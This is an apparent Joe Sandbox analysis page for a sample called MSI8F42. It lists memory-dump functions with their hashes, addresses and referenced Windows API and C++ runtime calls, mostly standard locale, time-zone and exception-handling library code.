Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID: 0$T4
API String ID: 0-1950495336
Opcode ID: 2d14d0593c8bf20a78536a61d55c6a89b264af23dfa17ac273d358957222f415
Instruction ID: 5547f3f05d713e1cddf97242b14268699e6c5d267f0830a1f4fc709ec3e29c75
Opcode Fuzzy Hash: 2d14d0593c8bf20a78536a61d55c6a89b264af23dfa17ac273d358957222f415
Instruction Fuzzy Hash: A3C1D170502A068FCB2ECF68C4906FEBBB6BF4D312F154619D4969B691C730ADC6CB52

Function 00327B1F Relevance: 1.9, APIs: 1, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00327F64,00000000,00000000,00000000), ref: 00327E23

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InformationTimeZone
String ID:
API String ID: 565725191-0
Opcode ID: c3d3fac8d7538b3b8b8ef564db94b4ca7f0a4e3fb8bdba15e9f164fc4dfe5a19
Instruction ID: f86f11ed5edd5df2ef3bc7b5f832d9e0223d908c779cc61c9c9358c8fa32899a
Opcode Fuzzy Hash: c3d3fac8d7538b3b8b8ef564db94b4ca7f0a4e3fb8bdba15e9f164fc4dfe5a19
Instruction Fuzzy Hash: B7C10576D04235ABDB27AB64EC02ABEB7B8FF05750F154056F901AF291EB309E41C790

Function 003284BD Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,003284B8,?,?,00000008,?,?,003314E4,00000000), ref: 003286EA

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 3efc00e6b9a6aca9350bf2dc0d863905dad09e02b6fcd51742866c9f5e73bfe0
Instruction ID: aea2733090cf97dba55b0effcef64d0b97141157ca28f95bebb59d4340cd3950
Opcode Fuzzy Hash: 3efc00e6b9a6aca9350bf2dc0d863905dad09e02b6fcd51742866c9f5e73bfe0
Instruction Fuzzy Hash: 33B16C31211618CFD716CF2CD48AB647BE0FF45364F268658E99ACF2A1CB35E992CB40

Function 003135A9 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 003135BF

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 42015d27a87b2c9f181f8e0b1c5133047eb5dbe43e0ae6802e4681d291f652e2
Instruction ID: f4c91c5dc3801c319202fc326e7296b83ae98c0fa59cd1cd72cdb7478b44a6ee
Opcode Fuzzy Hash: 42015d27a87b2c9f181f8e0b1c5133047eb5dbe43e0ae6802e4681d291f652e2
Instruction Fuzzy Hash: 2F519CB5E11205CBEB1ACF58D8857AABBF4FB09354F15806AD405EB3A0D774AE40CF90

Function 0032AF79 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c050c2ad554b515170f4c6be9458e7a4f9bc5f579ddb2b7128b275b97657b96
Instruction ID: e882a9a1bd8a2b7228e2d5942d24f366451940bbed3560ff892b2571ddbf7a66
Opcode Fuzzy Hash: 6c050c2ad554b515170f4c6be9458e7a4f9bc5f579ddb2b7128b275b97657b96
Instruction Fuzzy Hash: 3231E472900629AFCB21DFA9DC89DBBB76DEB84310F158158F81597240EA30AE408B60

Function 0032E48A Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0032E4DE

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9c23fc0df5d60eb9c00bbedb58c1b03951e87c9af06b53369e138d4235090d6a
Instruction ID: 2a630eef3a40b26e1bc02e45573bc512159e43e672d9df14ee60a73db51c35b4
Opcode Fuzzy Hash: 9c23fc0df5d60eb9c00bbedb58c1b03951e87c9af06b53369e138d4235090d6a
Instruction Fuzzy Hash: E2219572664216ABDB2A9F29EC42ABA73ACEF05714F240079F905DA141FB74ED40C750

Function 0032E6B9 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0032E453,00000000,00000000,?), ref: 0032E6E5

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 2de1bd23f7be0c7df9d2dfe65538f3b003717b7432507fe7fe0272780f06ae3d
Instruction ID: 8af53e27b7073bc52c90dc8c72f459388f0b357af1530adf830b8543d3ee9fe2
Opcode Fuzzy Hash: 2de1bd23f7be0c7df9d2dfe65538f3b003717b7432507fe7fe0272780f06ae3d
Instruction Fuzzy Hash: B7F0CD36A00232BBDB2A5768DC47BFA776CEB40754F150824EC16A7180EA74FD41D6A0

Function 0032E1AC Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

EnumSystemLocalesW.KERNEL32(0032E48A,00000001,?,?,-00000050,?,0032E82C,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0032E1F6

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2fb33c6e32cefbaf6f3f51a8b8589943d807533bb7e41ab1ea15bf143b4931b8
Instruction ID: 8acca41708e64863e697a175eb6f1a1809a5812d6640d6c12efb62df44351a1a
Opcode Fuzzy Hash: 2fb33c6e32cefbaf6f3f51a8b8589943d807533bb7e41ab1ea15bf143b4931b8
Instruction Fuzzy Hash: 3EF02B363003149FDB266F39EC86A7A7B99FF80768F05443DF9068B690D6B1AC42DB50

Function 00327132 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00321C9A: EnterCriticalSection.KERNEL32(-0034DE50,?,00323576,?,0034A078,0000000C,00323841,?), ref: 00321CA9

EnumSystemLocalesW.KERNEL32(00327125,00000001,0034A1D8,0000000C,00327554,00000000), ref: 0032716A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1720937ecf220234aaceabb5c69c62066d01b3f380d71890ade4984b5e3a65f1
Instruction ID: ea7d48a8ad73428f381edb0683cf9412f38824c75acc0a566db07a081b541201
Opcode Fuzzy Hash: 1720937ecf220234aaceabb5c69c62066d01b3f380d71890ade4984b5e3a65f1
Instruction Fuzzy Hash: D3F04976A54220EFD706DF98E846B9D77F0FB49726F10455AF410DF2A0DB75A9008F40

Function 0032E0C6 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003257CC: GetLastError.KERNEL32(?,00000008,0032AD4C,?,?,?,?,00000000,?,?), ref: 003257D0
Part of subcall function 003257CC: SetLastError.KERNEL32(00000000,?,00000006,000000FF,?,?,?,?,00000000,?,?), ref: 00325872

EnumSystemLocalesW.KERNEL32(0032E01F,00000001,?,?,?,0032E88A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0032E0FD

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 2e22ae69f07e1343bb05d6713cf4a63add18a5a8972f59ee8b1227059b0d9dee
Instruction ID: 23d0a46322673e96324ff80cba2f03a850e4e19ce58090ff942dd7e80dc772e2
Opcode Fuzzy Hash: 2e22ae69f07e1343bb05d6713cf4a63add18a5a8972f59ee8b1227059b0d9dee
Instruction Fuzzy Hash: B8F02B3A30031597CB16AF3AEC466AA7F95EFC1B61F074068EE058F651C6B29983D790

Function 003123F8 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002,?,?,003100E2,00000000,00000000,00000004,0030ED14,00000000,00000004,0030F127,00000000,00000000), ref: 00312410

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 33e2d8a0827c994d96ae3fbb244ba57e51ef77df58ed2eef20480b6bc3312222
Instruction ID: 0af6b0d28724efc633a6661f11386d678f132b77ec12f5dcd15ba7d06682f4e8
Opcode Fuzzy Hash: 33e2d8a0827c994d96ae3fbb244ba57e51ef77df58ed2eef20480b6bc3312222
Instruction Fuzzy Hash: DCE0D832654114BAE71B4B79AF0FFFB76ACD70470AF904151E902D40D1DEA1CA50E161

Function 0031353F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0002354B,00313077), ref: 00313544

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5b5c4bc2b33169f109d1eb6f38f14bba0afe026340ea5a768752b96d7e4d3cc2
Instruction ID: 84358c19aa5f5e3d3b8ca01ecd8d4b9d1bb28bd255f5a0d75a39c764a781f62e
Opcode Fuzzy Hash: 5b5c4bc2b33169f109d1eb6f38f14bba0afe026340ea5a768752b96d7e4d3cc2
Instruction Fuzzy Hash:

Function 00320A48 Relevance: .7, Instructions: 655COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction ID: 782961531f5c99354a4e96f4c885e16cf0f9807b4098d3722cc59f0a28c4fb07
Opcode Fuzzy Hash: c8be701706672502347744ee385a29e4b982556497efb68b5e76dd04359ca494
Instruction Fuzzy Hash: D132C074A0022ADFCF29CF98D981ABEB7B5EF54304F154168DC41AB356D732AE46CB80

Function 003292A9 Relevance: .6, Instructions: 637COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a60150ad51e7c0472a47ef6e2a451a719bd1eaf2b32fd00a3c3750326f20c8
Instruction ID: 4ac5e5e6f40e7bed7ecf1a57d0cc12340e244a8886e8dc357c3bd2582a46d02d
Opcode Fuzzy Hash: 49a60150ad51e7c0472a47ef6e2a451a719bd1eaf2b32fd00a3c3750326f20c8
Instruction Fuzzy Hash: E932F331D29F514ED7239638DC62339A28CAFB73D4F15D727F81AB5AA9EB29C4834100

Function 0031A915 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ababd327e87d22df91d4c621fc2dfb16225bb376556aa8a1761dfcaf93ef7fa7
Instruction ID: 767777913bb59f874cf6dacc355decbc9bd960c9a8c2227b36e808f60b83d3ee
Opcode Fuzzy Hash: ababd327e87d22df91d4c621fc2dfb16225bb376556aa8a1761dfcaf93ef7fa7
Instruction Fuzzy Hash: E2E19F70602A098FCB2ECF68C580AEAB7F1FF4D312F168659D4569B691D730ADC1CB52

Function 0032D8D5 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: 0cb3201fd3cd48f89452069e6af2a5f2ffa22dd122a9ad50e2f67d98b25392f1
Instruction ID: d2c2bf281c6011309b243011ecc4dae1e90610140ea6c577db0f64fb13a10734
Opcode Fuzzy Hash: 0cb3201fd3cd48f89452069e6af2a5f2ffa22dd122a9ad50e2f67d98b25392f1
Instruction Fuzzy Hash: 7AB106755007119BDB3AAF28EC92BBBB3A8FF44308F15456DE983C6580EA75E981C710

Function 0031C2CA Relevance: .2, Instructions: 158COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction ID: ea15547d4376e6fa7b5cd42a0285d89ad4d2508d4e19830693e0019af17e2b98
Opcode Fuzzy Hash: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction Fuzzy Hash: 3C517472E00219EFDF19CF99C991AEEBBB5EF88310F598059E815AB201C7349E50CB51

Function 00314920 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6e9efd554a92782676e9fee3cc7d77d575897f70cd382d9908865ae93333d788
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 2B1108B720114243D61EC63EC5B45FBE395EBCE32572E436AD1918BB58D322A9C59A00

Function 0032AD78 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: 7a4f772b803dd70de8e20d8dca8df84c8d9565bb6d79435ada8d12cae649379e
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: F7E08C72911238EBCB16DB9CD92498AF3ECFB84B01B15049AF501D7501C270DE00D7D1

Function 00322DCC Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction ID: 18a618512c6ead58debc1e5188d366f5ac254a152f5de2192bb80221b535565a
Opcode Fuzzy Hash: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction Fuzzy Hash: BBC08C34040E2057CE2B8E10AEB13BA3394B791783F80058CC4130BA46C52EAC83D641

Function 00310116 Relevance: 30.3, APIs: 20, Instructions: 287
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0031011D
collate.LIBCPMT ref: 00310126

Part of subcall function 0030EDF2: __EH_prolog3_GS.LIBCMT ref: 0030EDF9
Part of subcall function 0030EDF2: __Getcoll.LIBCPMT ref: 0030EE5D

__Getcoll.LIBCPMT ref: 0031016C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310180
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310195
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 003101D3
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 003101E6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0031022C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310260
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0031031B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0031032E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0031034B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310368
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310385
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 003102BD

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

numpunct.LIBCPMT ref: 003103C4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 003103D4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310418

Part of subcall function 002F6330: LocalAlloc.KERNEL32(00000040,?,00300E04,00000020,?,?,002F9942,00000000,7642E7B1,?,?,?,?,003350DD,000000FF), ref: 002F6336

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 0031042B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00310448

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollLockitstd::_$AllocH_prolog3H_prolog3_LocalLockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3717464618-0
